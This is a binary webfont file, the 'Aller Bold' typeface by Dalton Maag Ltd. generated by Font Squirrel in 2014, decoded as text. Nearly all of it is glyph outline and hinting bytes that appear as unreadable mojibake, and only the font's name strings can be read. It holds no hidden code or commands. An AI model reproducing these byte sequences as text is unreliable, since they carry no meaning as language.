�.�.��������%��+��+�+��+�+� � �#9�9�9�9�....�........�@��9��99��901>323267#".#".)�`/XXZ2-K6)5)�`/]ZX-1H5%;b1H/)`11D/)Z��V�/V�+�3�+�
2�/�ְ2��2��+��/�33��
22�+��9990147632&'&632#"�
LIJNNHKLFCDGPNP�JNNHLKL� ���!/a�(/�	+�/�	+�0/�ֱ
��*+�2�&+�
2�1+�&*�99�(�"+99��999��99014>75672.#"32>7#"'5.�7k�l+-+/3_;=];��w313# ;h6+---m�k5j��`�
�?i1����)mI��\���u�@��3+�+�+��>3
+�3�>�$2�A/�ֱ�+2��( ��:
�:/�(
�(:
+�@(/	+�B+�:�=99�(�%99�+3�49�>�:9��99��9014673.54>32.#"!!!!'7>54&'#.��
;{��q�F!9kR?V3
@��#�N+;%��05i5T�N!/}A +BR';V+!50%FxH#?!?#%krm%!C#!5P��$8x�/�*�4/���9/�ִ% +�%�/+� +�:+�%�	
!"$9�/�99��$9�*�!$9�4�9��
$9017&547'>76327'#"'.32>54.#"P�;?�Q8�fywg�/V�F#�P3�f~�f�9L- 8K+-L8  8K.+K8 N�d{}g�9L�99�M6�m?u1�/V�;;�T�-M<##<M--R<##<R����3p�+�#/�3�)+�2�,/�3�2+�2�2,
+�@2	+�2�4/�!ְ*2�
�2�!
+�@	+�2�!
+�@!&	+�/2�5+�!�901632	632!!!!#"&'!.5467!5!.54673VVNM
LPJS����w��)H%#I'��T������;��51�51��A..�-/���B	�/�	ְ
2��2��+01632#"'672#"�FEFGHCHEFEFGHCHV�R��
�R����7E��&+�.�+���F/�ִ8 +� ���8�?+� +��! ��1�1/�!�G+�6��G�+
�5�4��;��<���¼+
�C�B������45;<BC........�45;<BC........�@��+.999�1�&999�!�999�.&�(9��!+$9��901467&54632.#"#"'>732654&/.7>54&/�B=H��^�T)3}?mR78�y\C;#$L��h��)5�?ox59�e�3>�-3T�%�=�@Dr��5u+1+))J%�NL�@!R;NyR+:5u++7)#F)�{)6B>))<58��o�-7�/�&),$3��	 $2�./�ֱ��+�#�/+01467>32#"&'.%47>32#"&'&�GG!!FI�HH !GG7=;=<;>;==R��B�'I��+�#+�/�+�E/�<+�6/�-+�J/�ִ+��(+�9+�9�+�
+�K+�9�#-0BE$9�<E�B9�6�
(3?$9�-�090146$32#"$&732>54.#"4>32.#"3267#".Ro����oo�說���o�R�ދ�ݚRR�݋�ޙR�3c�\F\;1B)ZbhT/>3;i<`�c3ߢ�us�餤���uu���ߤ^^�߁�ߤ__��T�uE)f)uoun	!b6Dq�q1� /x�+�+�/�&+�-/�+�0/�ִ!+�!�)+�2�+�1+�!�99�)�$9�&�9�-�9��9��9014>3:54&#".5>32#".732675.#"Bh�@&XT)^0H�<��5�^T�`5�#15*,LX�Lh>H()N3���/#BhR%'�3RN��672	#"'672	#"'R??KRO��;PQJ@�??KRO��;PQJ@!�
�:�9��
�:�9��)R3�
/��

+�@
	+�/�ִ +�
+�@	+�
+0147!#"'!&�k=@B=���B=��R=j���	-�/����
/�ִ+�+�22�+0147!!&j

��1B==@B==R��B�'J��+�#+�/�+�B/�,+�B,
+�@B7	+�H2�K/�ִ+��(+�F+�F�?+�/+�/�+�
+�L+�?F�#,;$9�/�37:999��49�B�
/$90146$32#"$&732>54.#">32#"&'7>54&#"#"&Ro����oo�說���o�R�ދ�ݚRR�݋�ޙRA9kBç7#�@"3�!/=9>)75ߢ�us�餤���uu���ߤ^^�߁�ߤ__��

�qFl��gD1/;�����	"�/����
/�+�+�+0147!!&�

��?3651543Nh��N�+�+�/�+� /�ִ+��+�
+�!+��99��
99014>32#".732654&#"N1Rq??sT11Tr@?qR1�J55NN55J�?sR11Rs??oT00To?;KJ<;NN�/�\�+��2�/�3��	2�
+�@	+�/�ְ2� +�2�
+�@	+�
2�
+�@	+�2� +0147!672!!!!&547!!&�A=>?>B��3
��3���?>j
��=>?>��=>?>=>?>`=mq�I�+��/�+�/�ִ+�+��9��9��	999��901654&#".'>32!!m{B;5N5 DyP��dT!	�k�+�R'3+^5��b�`#'7;)�Z�(L�$/�+�/�+�)/�	ִ+�*+�	�99�$�9��999��901>732654&#"'7#.547!#".�!7`/DdV5-'��1�-L7<j�T'=;>�1b:=/+
+�,-/+��+=N)JnL'��%��+�
��/�ִ+�
+017632#"��Rf5L)��J)B��	��L/+\�+�"+�	�+�3�)/�,/�ֱ�%2��+��-+��"9��9�")�&99�	�%990163232>5632#"&'.'#"&'#"&�JFHIfa5H)JEHJ+!2;}_'G'F"#D��٤�#=T1g��#"HD�f��B�A�+�3�+�3�/�	ִ+��+�/��+�+�+014>3"&'#".2fX���D^X��P#B``y�k/�'�+^��R��?����2�/�+�+�22�/�ֱ��
22�+0147632#"'&�
JEHI
JEGJ1HJJFHIJ��1H�/�+�/�+�
+�@	+�/�	ִ+� +��9��$901>732654&#"'3>32#"&
%: 9FA5Dg�=my��U�%!P
##�eNhk�q�6�/�+�2�
+�@	+�/�ִ+�+��901%33!.54673.��3���

��!&��-)*-m:#R^�N�+�+�/�+� /�ִ+��+�
+�!+��99��
99014>32#".732654&#"-`�bb�`--`�bb�`-�HLNGGNLHR�yJJy�RR�yJJy�Ro��ns��?N��7	672	#"%	672	#"?<��PRHA@��BGR�<��PRHA@��BGRZ��
�:�9��
�:�9����� :��+�63�9/�23�&+�-2�&9
+�@&*	+�/�+�2�
+�@	+�2�;/�ִ+��8+�'2�4+�,2�<+��99�8@	
!"&$9�4�%99�9�99�&�!9��%901%33!.54673.	632#"%356323#"'5!��3���

��!&W�FI?N�!HAF�C3a+Ӄ1>71XX/=B)�d��-)*-m:#R�+��X��!�3��'5/'�	�{���� =��+�<3�7+�/�+�2�
+�@	+��' ��0��>/�ִ+��$+�3+�?+��99�$@	
!-0=$9�3�79�7�!999��$*3999�'�-99901%33!.54673.	632#"%654&#".'>32!!{�3���

��!&B�FI?N�!HAF4{B;5N5 DyP��dT!	�k��-)*-m:#R�+��X1+�R'3+^5��b�`#'7;)�����(2L��1+�K/�D3�8+�?2�K8
+�@KH	+�8K
+�@8<	+�$/�+�/�+�M/�	ִ+��J+�92�F+�>2�N+�	�/1$9�J�*,348$9�F�.799�8K�39�1�)/999��47$9��901>732654&#"'7#.547!#".	632#"%356323#"'5!�!7`/DdV5-'��1�-L7<j�T'=;>�FI?N�!HAF�C3a+Ӄ1>71XX/=B)�d�1b:=/+
+�,-/+��+=N)JnL'����X��!�3��'5/'�	�u�b�/"2m�'+�)3�/+�-2� /�� 
+�	+�3/�#ֱ+�+#+��/��+#+��4+�� '/$9� �9�/�90174>7563232>7#"&47632&'&uIio"FDD=/gV7h+D99#%5ZVV2��)LIJNNGLL`�`9���5R:X\5s=�IJNNHLKL��#";�+�
3�+� 
+���#/�ֱ�$+��9� �"9013>32#"'!#">32#"&'!�+N/)N/�TPNIR�TJCLs#b57m-�JK#J%-\���?'�� 	���j��#"3�+�
3�+�
+���#/�ֱ�$+��9013>32#"'!#"!7>32#"�+N/)N/�TPNIR�TJCLs\���-l85b#��%J"L��?'��+j��	���!*-\�+�
3�+�+
+�� /�$3��22�./�ֱ�/+��9�+�-9� �&(99��*"999013>32#"'!#"7>32#"&/#"&!�+N/)N/�TPNIR�TJCL��Z97Z!�O'#^`\*--'H�\���?'��K�	�gg��j��Z-0]�+�
3�+�.
+��#/�+�( ��+�1/�ֱ�2+��9�.�09�#� +999013>32#"'!#">323267#".#".!�+N/)N/�TPNIR�TJCL�#yM'LJL)%?-D#wG+RNL%);-1�\���?'���-F+HT-A)%G�cj��N*-C��+�
3�+�+
+��(/�"%<?B$3��036$2�D/�ֱ�+��/���.+�9�E+��9��%+$9�.�-99�9�
,$9�+�-9013>32#"'!#"467>32#"&'.!47>32#"&'&�+N/)N/�TPNIR�TJCL�GG!!FI�\�XHH !GG��?'���=<=;�uj@;><==��}&u�+�3�/��$/�+�'/�ֱ��+�+��!+�
+�(+��999�!�99�
�
999�$�

$9013.54632#"'!#"!3274&#"�+5�no�5)�TPNIR�TJCLs\�Z3/b4//3�!`Bu��u?c!�B'��+��;B}=BB��V�X�+�3��+��
+��
+��� /�ְ2��2�
+�@	+�@	+�2�!+013!!!!!!!#"!#>�
����V'����JT^{�=@D=��B=B?�{=@D=/��3�j���B��+��>+�+��+/�4+�9/�#+�C/�ֱ��7+�(+�D+�7� #+.=>$9�(�99�94�(1<999�#�=9��9��9990146$32.#"!267#"&#>32#"&'>732654'"'7.j_��b�`)HoK���LrH#j�b

=V9��#_5%BJ;p=)P�ɇDݤ�s'=v;���9z='I5D'hm	%N"
 7	������#!l�+��+��
+���"/�ִ+��2�
+�@	+�2�@	+��+�#+��99��!999013!!!!!>32#"&'�D���
�V'
��#b57m-�JK#J%�=@D=��B=B?�{=@D=	���#!j�+��+��
+���"/�ִ+��2�
+�@	+�2�@	+��+�#+��9�� 999013!!!!!7>32#"�D���
�V'
�g�-l85b#��%J"L�=@D=��B=B?�{=@D=?�	���!,��+��+��
+��"/�&3��22�-/�ְ2�+��2�
+�@	+�2�@	+��+�.+��*99��%999�"�(*99013!!!!!7>32#"&/#"&�D���
�V'
���Z97Z!�O'#^`\*--'H�=@D=��B=B?�{=@D=?�	�gg��N,B��+��+��
+��*/�$';>A$3��/25$2�C/�ִ+��2�
+�@	+�2�@	+��+��! ���/�!�8+�-�-/�8�D+��'99�8-�	
99��99013!!!!!467>32#"&'.%47>32#"&'&�D���
�V'
��GG!!FI�HH !GG�=@D=��B=B?�{=@D=�=<=;;><==�����#)�+�+�/�
ֱ�+�
�	99901>32#"&'632#"h#b57m-�JK#J%6LJJMNGL	�����?���#)�+�+�/�
ֱ�+�
�999017>32#"632#"�-l85b#��%J"L:LJJMNGL?�	�����?�����!!L� +�+�
/�3��22�"/�ֱ�#+��999�
�99��	999017>32#"&/#"&632#"d�Z97Z!�O'#^`\*--'H�LJJMNGL?�	�gg����?�����N!7o� +�+�/�036$3��	$'*$2�8/�ֱ�+��/��"+�-�9+��99�"� 99�-�'39901467>32#"&'.632#"47>32#"&'&JGG!!FI�LJJMNGL�HH !GG�=<=;�V��?�;><==��3�+q�
+��+�!�

+�*3��%2�,/�ְ2��$2�
+�@(	+�
+�@	+��+�
�-+��
99��
9901473>3 !"&'#&32>54.#"!!�V�s���g�lh�V��9)^�wFFw�VL
��35W
���}��
�3�+s����s/��5153����Z0��+�3�+�	3�&/�+�+ ��+�1/�ֱ��+��2+��.999��&+$9��!#999��99�+&�.9��#99��!9013632632#"'#">323267#".#".�?:=B:JC?<B59D��BDDn#yM'LJL)%?-D#wG+RNL%);-1��V��?��X�-F+HT-A)%Gh��f# )O�+�#�+�(��*/�ֱ!�!�%+�
�++�!�9�%� ($9�(#�
99014>32#".>32#"&'! 4&# hL���KK���L�#b57m-�JK#J%�?=����ݤ�ss�礤���ss��	�������h��f#)O�+��+���*/�ֱ��+�
�++��!%$9�
�$9��
99014>32#".%! 4&# 7>32#"hL���KK���L@?=������-l85b#��%J"Lݤ�ss�礤���ss������f�	�h��f!+4y�+�.�+�3�!/�%3��22�5/�ֱ,�,�0+�
�6+�,�9�0�)3$9�
�9�3.�
99�!�')99��+#999014>32#".7>32#"&/#"&! 4&# hL���KK���L��Z97Z!�O'#^`\*--'H2?=����ݤ�ss�礤���ss��	�gg������h��fZ.7z�+�1�+�6�$/�+�) ��+�8/�ֱ/�/�3+�
�9+�/�9�3�$,6$9�
�!99�61�
99�$�!,999014>32#".>323267#".#".! 4&# hL���KK���L#yM'LJL)%?-D#wG+RNL%);-1#?=����ݤ�ss�礤���ss��-F+HT-A)%G�!����h��fN+4J{�+�.�+�3�)/�#&CFI$3��7:=$2�K/�ֱ,�,+� �,�0+�
�@
0+�5�5/�@�L+�5 �.3$9�3.�
99014>32#".467>32#"&'.! 4&# 47>32#"&'&hL���KK���LGG!!FI2?=�����HH !GGݤ�ss�礤���ss��=<=;�3�����;><==�1�X7'67677'&'.���!--5��3-&��'/��5+'���3--#��#+.��,(��!-1h��f�#+2t�+�+�.�+�3�*��3/�ְ 2�$�$�0+��4+�$�!99�0�(*,$9��9�.�!99�*�'2$9��99014>327672#"&'#"&'7&%&#  4'hL��u�G>%/5-�PMK��{�JA./�LH@�J���cP�=#ݤ�s96T
�f�妤���s>9\�f�N�5�T�kb��u����##0B�+�
�+�3�1/�ֱ��+��2+��$9��'+0$901>3232>5>32#".>32#"&'�'J'#I'7dPPb8)J#%K'1դ��1�#b57m-�JK#J%�<�}�u88u�}��Ė��aa��$	�����##0B�+�
�+�3�1/�ֱ��+��2+��$(,$9��+901>3232>5>32#".7>32#"�'J'#I'7dPPb8)J#%K'1դ��1��-l85b#��%J"L�<�}�u88u�}��Ė��aa��O�	�����!#;n�+�
�+�3�1/�53�+�%(22�</�ֱ��+��=+��$999��%+/4$9��,9�1�7999�+�;-399901>3232>5>32#".7>32#"&/#"&�'J'#I'7dPPb8)J#%K'1դ��1��Z97Z!�O'#^`\*--'H�<�}�u88u�}��Ė��aa��O�	�gg����N#;Qm�+�
�+�3�9/�36JMP$3�'�*->AD$2�R/�ֱ�$+�0��+��G+�<�</�G�S+�<0�
9901>3232>5>32#".467>32#"&'.%47>32#"&'&�'J'#I'7dPPb8)J#%K'1դ��1�GG!!FI�HH !GG�<�}�u88u�}��Ė��aa���=<=;;><==���# 5�+�+�3�!/�ֱ�"+��$9��901632	632#"&'7>32#"VWNM#LOJT�5)I%#L'�-l85b#��%J"L��d��M��1�	����^�-U�+�+� 
+��
-
+�
��./�ֱ�22��%+��/+�%�9�- �%99013>326232+#"&32>54.#"�'J#!M))fԪjj��gV)M!#J%'3bL--Lb3'%��)nɠ��o)��=eMLg=�����>��=+�+�#�7/���?/�ֱ;�;�2+�	
�	2+�-�-/��	� ��&�&/��@+�-;�99�� #*7$9�#=�9�7�	 999013432#"&'>732654.54>54.#"#"��{�d+9D9/FRE0%Z�oLx>/T#?D/FPF/6A5#9+ZTJAH�Dj�@TwZN-)1+/JnT3o\<7q6=7'4++?XDH^VdL5)���)N���� ,;z�+�2�$+�+�
�
� ���9
+�+�</�ֱ-�-�5+�2��=+�-�!$$9�5�
&,$9��'9�92�9014>3254.#".5>32#".>32"&'3267.#"NT��R;H!9T4o|Z�N��H́h�}CA)L5dT�DA)Jf-@G=9duLb�P#1>#+5^B��)%V���	��5:
HN���� ,;|�+�2�$+�+�
�
� ���9
+�+�</�ֱ-�-�5+�2��=+�-�!999�5�
"(+$9��$'99�92�9014>3254.#".5>32#".7632#"3267.#"NT��R;H!9T4o|Z�N��H́h�}C��Rf5L)��J)B-@G=9duLb�P#1>#+5^B��)%V���	��5:
HN���� 4C~�+�:�%+�+�
�
� ���A
+�+�D/�ֱ5�5�=+�2��E+�5�!"3$9�=�
%.0$9��()99�A:�9014>3254.#".5>32#".7>32"&/#"3267.#"NT��R;H!9T4o|Z�N��H́h�}CH�#^+T)�/M#T#TRK%R�-@G=9duLb�P#1>#+5^B��)%V��	�	����5:
HN���� <K��+�B�$+�,3�7�7�2 ��)�+�
�
� ���I
+�+�L/�ֱ=�=�E+�2��M+�=�!:$9�E�
$'57$9��)/2999�IB�9�)2�!/:999014>3254.#".5>32#".>323267#".#".3267.#"NT��R;H!9T4o|Z�N��H́h�}CS#qL'GFI'#>+!,#sL'IHH$':+1�-@G=9duLb�P#1>#+5^B��)%V��-@+#V+-;)%O�5:
HN���� 8G]��+�>�+�
�
� ���E
+�+�6/�03VY\$3�$�'*JMP$2�^/�!ֱ-� ��9�-�A+�2���S ��H�H/�S�_+�-!�
99�H�>E$9�E>�9014>3254.#".5>32#".467>32#"&'.3267.#"47>32#"&'&NT��R;H!9T4o|Z�N��H́h�}CfGG!!FI�-@G=9duHH !GGLb�P#1>#+5^B��)%V�N=;=<�?5:
H�;>;==N���y ,;G��+�2�+�
�
� ���9
+�+�*/�?+�E/�$+�H/�ֱ-�!-+�<+�-�5+�2��B ��'+�I+�<!�
9�B�$*29$9�92�9�E?�'!99014>3254.#".5>32#".4632#"&3267.#"32654&#"NT��R;H!9T4o|Z�N��H́h�}C�ff��ff�)-@G=9dug7))77))7Lb�P#1>#+5^B��)%V��o{{oozz�85:
H�5;;55<;N��F;;MT��1+�73�(�A2�+�3�
�R2�
� ���N%1
+�N�N� ��K+�U/�ֱ<�<�O+�!�V+�<�99�O@
(17%DN$9�!�$+.999�%(�+<D$9�N�!H99��9014>3254.#".5>32>32!3267#"&'#".%3267./.#"%!.#"NT��R?H!=T43y?Z�Nj�<=�fo�p8�k�F|B P�Vf�BF�pX�sA+<A?X7duJ�TVfmLb�N!1>#5^B=;7AM��j'Jyr)sA-+)/%V�o5:+d9!9�byrT��;C��!+��?+�+��+/�4+�:/�%+�D/�ֱ
��7+�(+�E+��.9�7@
!"%+1>?$9�:4�(1=>$9�!�9��
999014>32.#"32>7#>32#"&'>732654&#"'7.T?��-LEF+=];��w313# R�N my��U2
%: 9FA6CPb�b/uɗV/u5����)mITeNhk!P
##�`��X��)�)0g�+��!+�+�.�*
+�*��1/�+ֱ
�+

+�@+	+�2+�
+�
$$9��9�.�
99�!�&9014>32!3267".>32"&'!.#"XB��o�y=�X�F�A �ɓӅ@{)L5dT�DA)J��eZfk
u͗XM��j'L{n)sA=R��.�	��byrX��)�$0h�+��(+�+�"�
+���1/�ֱ
�

+�@	+�2+�
�
(+$9��9�"�
99�(�/9014>32!3267".%!.#"7632#"XB��o�y=�X�F�A �ɓӅ@!�eZfk�Rf5L)��J)B
u͗XM��j'L{n)sA=R���byr��	X��)�18g�+��"+�+�6�2
+�2��9/�3ֱ
�3

+�@3	+�:+�
3�
&$9��9�6�
99�"�(9014>32!3267".7>32"&/#"!.#"XB��o�y=�X�F�A �ɓӅ@��#^+T)�/M#T#TRK%RX�eZfk
u͗XM��j'L{n)sA=R��0�	�	����byrX��)�5<R��+��+�:�6
+�6�3/�-0KNQ$3�!�$'?BE$2�S/�ֱ*�*�=+�H�H�
 ��7�7/�
�7

+�@7	+�T+�*�6999�=�:99�7�9�H�BN99�
�
999��9�6�
99014>32!3267".467>32#"&'.!.#"47>32#"&'&XB��o�y=�X�F�A �ɓӅ@yGG!!FI��eZfkHH !GG
u͗XM��j'L{n)sA=R���=;=<�jbyrK;>;==������N�+�+�+���/�ֱ�2��
+�/�+��9��99��901>32"&'47!#"'#.i)L5dT�DA)J��JEDI���	��76��F;3����M�+�+�+�
��/�ֱ��
+�/�+��
9��999��90147!#"'#.7632#"3�JEDI�+�Rf5L)��J)B�76��F;)��	����� P�+�+�+���!/�ֱ��
+�/�"+��99��
$9��
9017>32"&/#"47!#"'#.1�#^+T)�/M#T#TRK%R+�JEDI��	�	���76��F;�����$:r�+�+�"�/�369$3��	'*-$2�;/� ֱ� +��/���
+�/�% +�0�<+� �99�%�901467>32#"&'.47!#"'#.47>32#"&'&6GG!!FIi�JEDI�ZHH !GG7=;=<��76��F;�;>;==T��?�-9~�)+�1�7/��/��2�:/�ֱ.
�.�4+�$
�;+�.�$9�4�)$9�$�999�71�$99��9��99��999014>32.'.'7&'&546727#".%32654&#"T;u�o5f)K5�0qFX
u�T�,yFhH"=}��}='^oo`ano^�m��O=o){G'J93#B 71nC)PD���k�ךTN��l����������9�&B��%+�3�*+�23�=�=�8 ��/�+�3���C/�ֱ#�+�#�+��D+��%'@999�#�9��*/8=$9��2599��9�=%�@9�/�'599013>32>32#"'4&#"#">323267#".#".�9##5
	:K_9��JGHIDT#J;%JGH#qL'GFI'#>+!,#sL'IHH$':+1#
'+)>1��\Vov;kV��v-@+#V+-;)%OT��N�+]�+�#�+�+�)��,/�ֱ 
� �&+�

�-+� �99�&�$9�)#�
99��9014>32#".>32"&'32654&#"T?}����>>����}?\)L5dT�DA)Jjdqsddsqdu͕VV��uuȖTT��'�	�I�������T��N�+[�+��#+�+���,/�ֱ
��+�

�-+�� #'$9�
�&9��
99�#�*9014>32#".%32654&#"7632#"T?}����>>����}?'dqsddsqd�Rf5L)��J)Bu͕VV��uuȖTT��t���������	T��N�'3d�+�+�+�+�1��4/�ֱ(
�(�.+�

�5+�(�&99�.�!#$9�
�9�1+�
99��9014>32#".7>32"&/#"32654&#"T?}����>>����}?��#^+T)�/M#T#TRK%RZdqsddsqdu͕VV��uuȖTT��)�	�	���X�������T��N�/;}�+�3�+�3�*�*�% ���+�9��</�ֱ0
�0�6+�

�=+�0�-99�6�%*$9�
�"99�93�
99�%�"-999014>32#".>323267#".#".32654&#"T?}����>>����}?�#qL'GFI'#>+!,#sL'IHH$':+1�dqsddsqdu͕VV��uuȖTT���-@+#V+-;)%O�Ϡ������T��N�+7M|�+�/�+�5�)/�#&FIL$3��:=@$2�N/�ֱ,
�,�  ���/� �,�2+�

�8 ��C�O+�8 �/5$9�5/�
99014>32#".467>32#"&'.32654&#"47>32#"&'&T?}����>>����}?�GG!!FI�dqsddsqd'HH !GGu͕VV��uuȖTT���=;=<����������;>;==��##	!4�/�
+�/��/�+�"/�
ְ2��2�#+0147!!&4632#"&4632#"&�_��cEFddFFbcEFddFFb�?>=>?>=��FddFFbb�FdeEFbbT��N;#,4n�+�+�/�+�*��5/�ֱ$
�$�2+�
�2�6+�$�9�2�(-$9��99�/�!99�*�'4$9��9014>327>32#"'#"&'7.%&#"32654'T?}��^�;')3m;8>���s#)+bBA'
V5^qdV1Nsdu͕V/)/�J�quȖTH-J�x1V#�?��B+��L<}���&^�+��+�+�3�'/�ֱ��
+��(+��99�
� &999��!9��9��#901632327632#".>32"&'}JGHJ8R7L3JEHJB�uh��VZ)L5dT�DA)J�:��Tm?>�+!k���	}���&_�+��+�+�3�'/�ֱ��
+��(+��9�
�"%$9��!99��9��%901632327632#".7632#"}JGHJ8R7L3JEHJB�uh��V�Rf5L)��J)B�:��Tm?>�+!k����	}���.`�+��+�+�3�//�ֱ��
+��0+��-99�
�"(*$9��#9��9��%901632327632#".7>32"&/#"}JGHJ8R7L3JEHJB�uh��Ve�#^+T)�/M#T#TRK%R�:��Tm?>�+!k���	�	��}���2H��+��+�3�0/�*-ADG$3��!$58;$2�I/�ֱ��' ���/�'��
+��3 ��>�J+�'�9�3�99�>�9��901632327632#".467>32#"&'.%47>32#"&'&}JGHJ8R7L3JEHJB�uh��VlGG!!FI�HH !GG�:��Tm?>�+!k��=;=<;>;==�F�+7N�*+�/+�+�
3�/���8/�ֱ
�9+�
�29��9�*�9��9�/�6901>32632#"&'&4546732>?#*'7632#"/H)V#�DGE4�tCVj>9\-=1/)#7)�Rf5L)��J)B#
�d�
��Nf9
1Y)B;��	��f�.Z�+�!�+�)�/�//�ֱ�22��$+��0+�$�99��99�)!�9��901>32>32#"&'#"&32654.#"�'H##G')�gX�s?M�Շ#C'H"#H�7H�1L83G-����9VA�ɉ�ӔP�)���?mM.'DZ3�F�+CY��*+�+�
3�/��A/�;>RUX$3�/�25FIL$2�Z/�,ֱ8�8�D+�O�OD+�
�[+�8,�(+$9�D�%99��IU99�
O�
9��9�*�9��901>32632#"&'&4546732>?#*'467>32#"&'.%47>32#"&'&/H)V#�DGE4�tCVj>9\-=1/)#7)�GG!!FI�HH !GG#
�d�
��Nf9
1Y)B;7=;=<;>;==b��)�%2��+��!+�)�+��+�0�!
+���3/�ֱ&�&�,+��2�,
+�@	+�2�@	+�4+�,&�!99��9��,9��&99��-9014>32!!!!!!#".%3267.#"bR���5�1'
����V'��?DB���R@��J`))`H��ݤ�s=@D=��B=B?�{=@D=
s������T���;*6=��&+� 3�.�2�+�3�4�;2�7&
+�7��>/�ֱ+
�+�1+�+��8�8/�?+�1+�&99�8� #7$9��999�.&�#99��9�7�+1$9�4�9014>32>32!3267#"&'#".%32654&#"!.#"TB���u�?;�jj�r<���F}A P�e��@B�y���B'lqsllsql�tZPVfu͕VXTTXM��j'L{n)sA]OVVT��t�������+byr���N+A~�+�+�3�)/�#&:=@$3��.14$2�B/�ֱ� +��/� �,+�7�C+��&999�, �99�7�1=999��901632	632#"&'467>32#"&'.%47>32#"&'&VWNM#LOJT�5)I%#L'�GG!!FI�HH !GG��d��M���=<=;;><==��h� �+�
�2�/�+�
�9017>32"&/#"��#^+T)�/M#T#TRK%R�	�	����u�4�+�3��� ����/�+��9��9901>323267#".#".�#qL'GFI'#>+!,#sL'IHH$':+1j-@+#V+-;)%Oj���	47!!&j

��1B==@B==j���	47!!&j

��1B==@B==j���	47!!&j

��1B==@B==����	�/����
/�+0147!!&�1=BB;?@?����	�/����
/�+0147!!&�1=BB;?@?f��
h�+�	+�/�ֱ�
+��+�6���+
�.�.��
���

��
....�@�
�9��
901>32#"&'f#N!!E#�#?!!E#�	��f��
o�+�
+�/�ֱ�+��/��+�6�=���+
�.�.��
���
��....�@��9��901>32#"&f�#E!!M#�#F!!?�	��f�5
m�
/�+�/�ֱ�+��/��+�6�=���+
�.�.��
���
��....�@��9��901>32#"&f�#E!!M#�#F!!?���f���
��+�3�+�
2�/�ֱ�
+���+��+��+�6���+
�.�.��
���

����+
�.�.��
���
��
........�@01>32#"&'>32#"&'f#N!!E#�#?!!E##N!!E#�#?!!E#�	��	��f���
��+�3�+�2�/�ֱ�+��/���+��+��/��+�6�=���+
�.�.��
���
��=���+
�.�.��
���
��........�@01>32#"&%>32#"&f�#E!!M#�#F!!?��#E!!M#�#F!!?�	��	��f��5
��/�3�+�2�/�ֱ�+��/���+��+��/��+�6�=���+
�.�.��
���
��=���+
�.�.��
���
��........�@01>32#"&%>32#"&f�#E!!M#�#F!!?��#E!!M#�#F!!?���	����#5�+�+�+�+�/�ִ
+�
+�+014>32#".�1Rp@?oT11To??qR1�?oT11To??rQ22Qr���9/M�+�.*,
$3�"+�&"$$2�0/�ֱ��+��� +�(�1+01747632#"'&%47632#"'&%47632#"'&�LJJM
NGLL)LJJM
NGLL)LJJM
NGLL�JMNGLLLJJMNGLLLJJMNGLLLRN���/�ִ+�
+01672	#"'R??KRO��;PQJ@!�
�:�9?N��!�/�ְ2�+�
+��9017	672	#"?<��PRHA@��BGRZ��
�:�99����G��@+�7�+��F@
+�,3�F+�32�
@
+�'3�+� 2�H/�ֱ)�)
+�@)0	+�$2�)
+�@	+�2�I+�)�E99�F7�:9��901473&45<7#&'473>32.#"!!!!3267#".'#&9��
�^�˅b�`)HnL����B��Z��LsG#j�b�ϓ_�
5#+'55#q��J'=u<}},1P+,1uk9z='D}�oh�9��&/�733�"+�2�+�222��+�	2�:/�ִ+�
+�@	+��+�4+�4�*+�$+�;+�6���y+
�.�*��#��$����y+��+*+�+* � �#9�#$*+....�#+...�@��99�4�9�*�9�$� 9�&�$9��90147!##"'#&>32>32#"&'#"&'#"&Z�532��-#71#��/6-!14!s#^1.B7/11��	n)�i/�{���
����i
33'�+�+�/�ִ+�+�+011!33��#���*m�$+�3�+�3�(� 2�/�
��+/�&ְ2�"�2�&"
+�@&	+�"�+��,+�"�
99��
99��9�
�
901467354>32.#"!#"'!#"'#.#�H}�hf�R#HwC'N='�JEDJ��JFHI��13b�h8#Dr/'F7-��F��F!5#��`�<r�+�63��+�+3�:�22�%/���=/�8ְ2�4�*2�4�!+��>+�!4�/99��9��9�:�9�%�"9��
901467354$!23267#"&5.#"3##"'#.#�7^Zc;1%'!\'��#E-T?'��JFHI��13��	��?N+NO!
���
)F7-!51��F!5#���E��?+�1833�+��� ��'3��2�+�-33�C�4;22�F/�Aְ2�=�2�A=
+�@A	+�=�:+�2�6�,2�6�3+�/�G+�:=�99�36�'99�/�$!99�?�$9��!901467354632.#"!54>32.#"!#"'!#"'!#"'#.#�ݴDf2
*.%!7)}G}�if�R#HwC'N>&�JFDI��JEHI��JFHI��1'��Jh4&F7!3b�h8#Dr/'F7-��F��F��F!5#����W��2+�JQ33�'�+��� ��93��2� +�+�?33�U�FM22�X/�Sְ2�O�2�O�L+�2�H�>2�H�5+�"�Y+�LO�99�5H�C99�"� 9�U'�*9��6901467354632.#"!54$!23267#"&5.#"3##"'!#"'#.#�ݴDf2
*.%!7)}7_Zb<1%'!\'��#F-T@&��JEHI��JFHI��1'��Jh4&F7!3��	��?N+TO"

���
)F7-!51��F��F!5���_<�а�%а�%���}
J��f���x��D�d�nf�m�hfgd�f�f�f�J��SF�jO�E�V���s�R�!�h�u���`�^O�z:�������X
X���j��?��Xhf�K�I3�����X��h���h��fH�3^�(^!%��N�fO�fdf�-N���T�T~X+#�D��t3t��G}������T���T7��R�}Z
rEV�7~f��~f�d������P�������RR���j�R�N���m������fO���?f�f{f��u��j?�?�?�?�K��KK��K���Z��h�h�h�h�h���h^�^�^�^������-N-N-N-N-N-N�N�T~X~X~X~Xt��t3t��t���T���T�T�T�T�T���T�}�}�}�}V��Vzb$T�����}�}�??�j�j�j�j����nfnfnf f f f�����R�?��9f3#l#�#
#,,,,����6b��R��$^��p�0�		>	�
F
�:l��
0
�
^��\��d��:��v�b��:��2h��2Z��d� ���0�2z�B��z�J�,v� . h �!!|!�""�"�"�#p$$�%,%^&6&�'L'�'�(0(\))D)�)�*R*�*�+N+�+�,$,f,�,�-�.N//�/�0L0�1D1�2t2�3|3�4X4�5�5�66v77�88�8�9�::�:�;�;�<^<�=�=�>^>�?�@@�A|BTCC�D|D�E|FF�G.G�G�HrII�JJ�KK�LTL�M,M�NN~O,O�PP�QzR"R�R�SDSDSDSDSDSDSDSDSDSDSDSDSZSpS�S�S�TTnT�U>U�VFV�V�V�WWDWDW�X�X�YVY�Z�[f�^��	
	
	H	Z	n	�	 �	�	��	�0�	�AllerBoldDaltonMaagLtd.: AllerBold Beta: 2008Aller BoldVersion 1.00Aller-BoldDalton Maag Ltd.Aller BoldWebfont 1.0Fri Dec 12 07:37:57 2014Font Squirrel�gf�	

